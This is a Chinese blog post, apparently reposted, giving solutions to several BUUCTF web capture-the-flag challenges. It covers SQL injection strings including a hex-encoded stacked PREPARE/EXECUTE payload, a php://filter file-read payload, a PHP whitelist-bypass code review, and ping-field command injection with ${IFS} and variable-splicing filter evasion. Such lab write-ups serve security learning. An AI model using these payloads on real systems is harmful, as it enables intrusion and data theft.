0


BUUCTF web 系列详解 (详细版)持续更新中

写这篇博客的目的一是为了方便自己复习,二是给帮助刚入门的未来大哥们梳理一下知识点。(侧重补充题目知识点)如果有错误的地方,各位大佬轻喷

1.1[极客大挑战 2019]EasySQL

题目类型:SQL注入类

日期:2023.7.20

payload:1’ or '1'='1

知识点:sql注入类题目,首先确定是字符型注入还是数字型注入。字符型:输入的参数做为字符处理,一般有引号闭合。数字型:输入的内容作为数字处理,一般没有引号闭合。

判断方式:id=1 order by 9999 --+ 正常回显是字符型,否则是数字型

万能密码:1 and 1=1(数字型) 或1' and '1'='1(字符型)或 1 or 1=1(数字型) 或 1 or '1'='1(字符型)

解题过程:进入之后看到输入框确定是SQL注入,万能密码即可。

1.2 [极客大挑战 2019]Havefun

题目类型:代码审计

日期:7.23(补21)

payload:/?cat=dog

知识点:get传递参数(很简单)

解题过程:f12看注释处有代码审计

1.3 [HCTF 2018]WarmUp

题目类型:php代码审计(未完待续)

日期:7.23(补22)

完整代码如下:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        //传入变量,也就是file,赋值给page
        public static function checkFile(&$page)
        {
            //第一部分
            //定义了白名单,包括scource.php和hint.php
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            
            //如果page不存在或者不是字符串则返回false
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
​
            //第二部分
            //检测传进来的值是否匹配白名单列表$whitelist ,如果有则执行真
            if (in_array($page, $whitelist)) {
                return true;
            }
​
            //第三部分
            /*mb_substr为截断函数,第一个参数为传进来的字符串,第二个为起始位置,第三个参数为长度
                mb_strpos为查找某值第一次出现的位置,这里表示截取page从0开始到第一个问号之间的字符    串,赋值给_page*/
            //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') 
            );
​
            //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
                return true;
            }
            
            //第四部分
            //否则继续将page进行url解码,这里注意url传入服务器会自动进行一次urldecode
            //?的url编码为%3F,双重url编码为%253F
            $_page = urldecode($page);
​
            //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            
           //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​
    //第五部分
    //条件为file不为空、是字符串、checkFile返回true,否则一直显示滑稽
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
​

知识点:isset()函数用于检测变量是否已设置并且非 NULL

is_string() 函数用于检测变量是否是字符串。

PHP 版本要求: PHP 4, PHP 5, PHP 7

in_array("a",$b) :搜索数组b中是否存在指定的值a

urldecode()返回URL解码的字符串

mb_substr("abbcv", 0, 2)从第0个位置开始,截取前2个字符串 // 输出:ab

mb_strpos (a,b,c)— 查找字符串b在另一个字符串a中从c开始搜索首次出现的位置

emmm::checkFile 一个emmm类调用checkFile静态方法,在PHP中,双冒号(::)用于调用静态方法或访问静态属性

总结:这段PHP代码首先使用

highlight_file(__FILE__)

来高亮显示当前文件的源代码。

然后定义了一个名为

emmm

的类,其中包含了一个名为

checkFile

的静态方法。该方法接受一个传入的参数

$page

,并对其进行一系列检查。

首先,定义了一个白名单数组

$whitelist

,其中包含了允许访问的文件名和对应的文件。接下来,通过一系列条件判断来验证传入的

$page

是否符合访问要求。

如果

$page

未设置或不是字符串类型,将输出 "you can't see it" 并返回 false。

接着,将

$page

与白名单进行比较,如果存在于白名单中,则返回 true。

如果不在白名单中,将对

$page

进行处理。首先使用

mb_strpos

函数找到

$page

中的问号位置,并截取该位置之前的子串赋给

$_page

。然后将

$_page

进行 URL 解码,并再次使用

mb_strpos

函数截取其中的问号位置之前的子串。最后再次与白名单比较,如果存在于白名单中,则返回 true。

如果以上条件都不满足,将输出 "you can't see it" 并返回 false。

最后,在代码的主体部分,通过检查

$_REQUEST['file']

的值是否存在且为字符串类型,以及调用

emmm::checkFile

方法来验证是否允许访问该文件。如果满足条件,则通过

include

函数包含该文件并退出。否则,输出一个图片标签。

总体来说,这段代码的作用是根据一定的访问规则来控制文件的访问权限,并在不满足条件时显示一张图片。

1.4 [ACTF2020 新生赛]Include

题目类型:php为协议文件读取

日期:7.24(补23)

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

知识点:php文件读取协议

参考链接:php文件包含漏洞Getshell的不同姿势-安全客 - 安全资讯平台

(php如何getshell)

PHP伪协议_php伪协议读取文件-CSDN博客

(php文件读取协议)

1.5[ACTF2020 新生赛]Exec

题目类型:Linux命令执行漏洞

日期:7.24

payload:127.0.0.1;ls 看到index.php

127.0.0.1;cd../../../;ls 查看目录文件

知识点:Linux命令,cd../../ 移动到上个目录

cat 1.txt 打开1.txt文件

ls 列出文件目录

命令与命令之间使用;隔开

解题过程:打开之后看到ping,ping一下自己127.0.0.1;可以看到有回显,

使用cd../../../切换到上个目录,ls查看所以文件,可以看到flag,cat flag 打开flag

1.6[GXYCTF2019]Ping Ping Ping

解题过程:跟上个题目有点类似,打开之后看到/?ip= 在URL里面输入127.0.0.1;ls

可以看到flag.php和index.php,之间使用cat flag.php 会显示

这里涉及一些RCE的绕过

首先是代替空格的字符:例如,我们要实现命令 cat flag.txt

可以用以下命令替换: cat**${IFS}flag.txt cat$IFS$9flag.txt cat$IFS$1flag.txt cat<**flag.txt cat**<>**flag.txt

使用第二个第三个都行,cat**$IFS$9**flag.php之后发现过滤了flag,这时候打开index.php看一

可以看到过滤了f l a g四个字母,还有bash 和//和 /\ 和/ 和? 这些。

万幸,$没有被过滤,$没有被过滤优先看变量拼接

$没有被过滤那我们可以用变量拼接来尝试一下绕过flag的限制

payload:?ip=127.0.0.1;a=lag;b=f;cat$IFS$9$b$a.php

注意:变量拼接是两个变量拼接,一个变量加字符是不行的

知识点:RCE绕过方式:RCE漏洞详解及绕过总结(全面)-CSDN博客

这个大佬的绕过方法很牛逼,看他的吧(还有一些别的解法,这里只说这一种)

其实还有一种解法是使用echo和``,大家有兴趣可以试一下,过几天我来公布答案

1.7[强网杯 2019]随便注

解题过程:sql注入的第一步:先确定是字符型还是数字型注入(渗透时还得加上判断数据库类型,CTF默认使用mysql,这一步省了)

字符型注入:输入的数据当作字符处理,需要''闭合,数字型注入:输入的当作数字处理,不需要闭合

输入一个1‘ ,报错,说明有引号,再输入1’ or 1=1 # 成功回显

输入的语句在数据库中大概是这个样子

,前面的引号完成闭合,因为1=1恒成立,所以有效

然后使用union查询时发现过滤了以下关键字:

mysql的查询语句除了select之外还有show,也就是堆叠注入(注:oracle不支持堆叠注入)

1';show databases;# 查数据库

1’;show tables;#查表名

然后最骚的地方来了,怪不得说安全与开发缺一不可

方法1:Hex编码+预编译(mysql可以自动实现hex解码)

select * from

1919810931114514

进行hex编码:73656c656374202a2066726f6d20603139313938313039333131313435313460

预编译后的最终payload:1';PREPARE he from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE he;#

这个payload的意思是:创建一个名为 "he" 的准备语句,然后执行这个准备语句

(还有一些别的方法,我感觉这个是最简单也是最通用的)

之前有点忙,没时间更,今天之后争取一天更新一道题目


本文转载自: https://blog.csdn.net/llki666/article/details/135241445
版权归原作者 llki666 所有, 如有侵权,请联系我们删除。

“BUUCTF web 系列详解 (详细版)持续更新中”的评论:

还没有评论